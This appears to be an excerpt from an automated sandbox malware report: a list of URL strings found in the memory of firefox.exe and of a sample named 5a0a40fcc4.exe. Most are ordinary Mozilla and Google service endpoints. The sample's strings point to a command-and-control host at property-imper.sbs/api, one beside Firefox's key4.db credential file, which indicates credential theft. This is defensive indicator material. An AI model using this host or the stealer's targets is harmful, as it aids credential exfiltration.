Source: firefox.exe, 00000017.00000002.3142298865.000002A1104C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3144047725.000002A110665000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3132113988.000002A10C67D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000017.00000002.3128253974.000002A1009D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3119038459.0000014777672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE45CD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000017.00000002.3132579921.000002A10C9B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3128253974.000002A100903000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.comhttps://support.mozilla.orgremoveTabsProgressListenerdevice-connected-not
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3144047725.000002A110665000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3144047725.000002A110665000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3132113988.000002A10C67D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA25000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com
Source: 5a0a40fcc4.exe, 00000007.00000002.2858710860.00000000013E7000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000002.3318093762.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3038070744.0000000001456000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3106081827.0000000001456000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3113079591.0000000001459000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3267779420.000000000145D000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3115145912.0000000001459000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3195702632.000000000145D000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3108086331.0000000001459000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3009683647.0000000001449000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/
Source: 5a0a40fcc4.exe, 00000009.00000003.3009683647.0000000001449000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/$E
Source: 5a0a40fcc4.exe, 00000009.00000003.3009683647.0000000001449000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/DDQ
Source: 5a0a40fcc4.exe, 00000009.00000003.3152617438.0000000001457000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3195558711.0000000001475000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3009683647.0000000001454000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/api
Source: 5a0a40fcc4.exe, 00000007.00000002.2858710860.000000000138E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/api(
Source: 5a0a40fcc4.exe, 00000009.00000003.3152617438.0000000001457000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/api8
Source: 5a0a40fcc4.exe, 00000009.00000003.3195558711.0000000001475000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/api?.
Source: 5a0a40fcc4.exe, 00000009.00000003.3076950434.0000000001456000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/apiD
Source: 5a0a40fcc4.exe, 00000009.00000003.3009683647.00000000013FC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/apia
Source: 5a0a40fcc4.exe, 00000007.00000002.2858928625.0000000001405000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000007.00000003.2856069649.0000000001404000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/apiaT
Source: 5a0a40fcc4.exe, 00000009.00000002.3318093762.00000000013FC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/apih
Source: 5a0a40fcc4.exe, 00000009.00000003.3105687250.00000000059CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/apiy
Source: 5a0a40fcc4.exe, 00000009.00000003.3009683647.0000000001449000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/dDq
Source: 5a0a40fcc4.exe, 00000007.00000002.2858710860.00000000013E7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/lfons
Source: 5a0a40fcc4.exe, 00000007.00000002.2858710860.00000000013E7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/~
Source: 5a0a40fcc4.exe, 00000009.00000002.3318093762.00000000013C8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs:443/api.default-release/key4.dbPK
Source: 5a0a40fcc4.exe, 00000009.00000002.3318093762.00000000013C8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs:443/apiicrosoft
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD91000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000017.00000002.3212714323.000002A1185A5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000017.00000002.3130809061.000002A10C1E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3212714323.000002A1185A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3212714323.000002A1185A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000017.00000002.3137971592.000002A10E6CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3128253974.000002A100903000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000017.00000003.3004897407.000002A110260000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004746392.000002A11023E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004570268.000002A11021D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com_migrateXULStoreForDocumentnetwork.proxy.backup.socksgeckoprofiler
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000017.00000002.3180523037.000002A112336000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA25000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000017.00000002.3180523037.000002A112377000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 00000017.00000002.3180523037.000002A112336000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3180523037.000002A112381000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A112203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A1122C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2(brows
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2https:
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000017.00000002.3178365976.000002A1121B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3212714323.000002A1185B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3160186876.000002A1111EE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE4512000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000017.00000002.3160186876.000002A111144000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3161686085.000002A111203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3160186876.000002A1111EE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A112203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3194848680.000002A1131E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3136254233.000002A10DDC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3136254233.000002A10DDBC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE45C0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/user
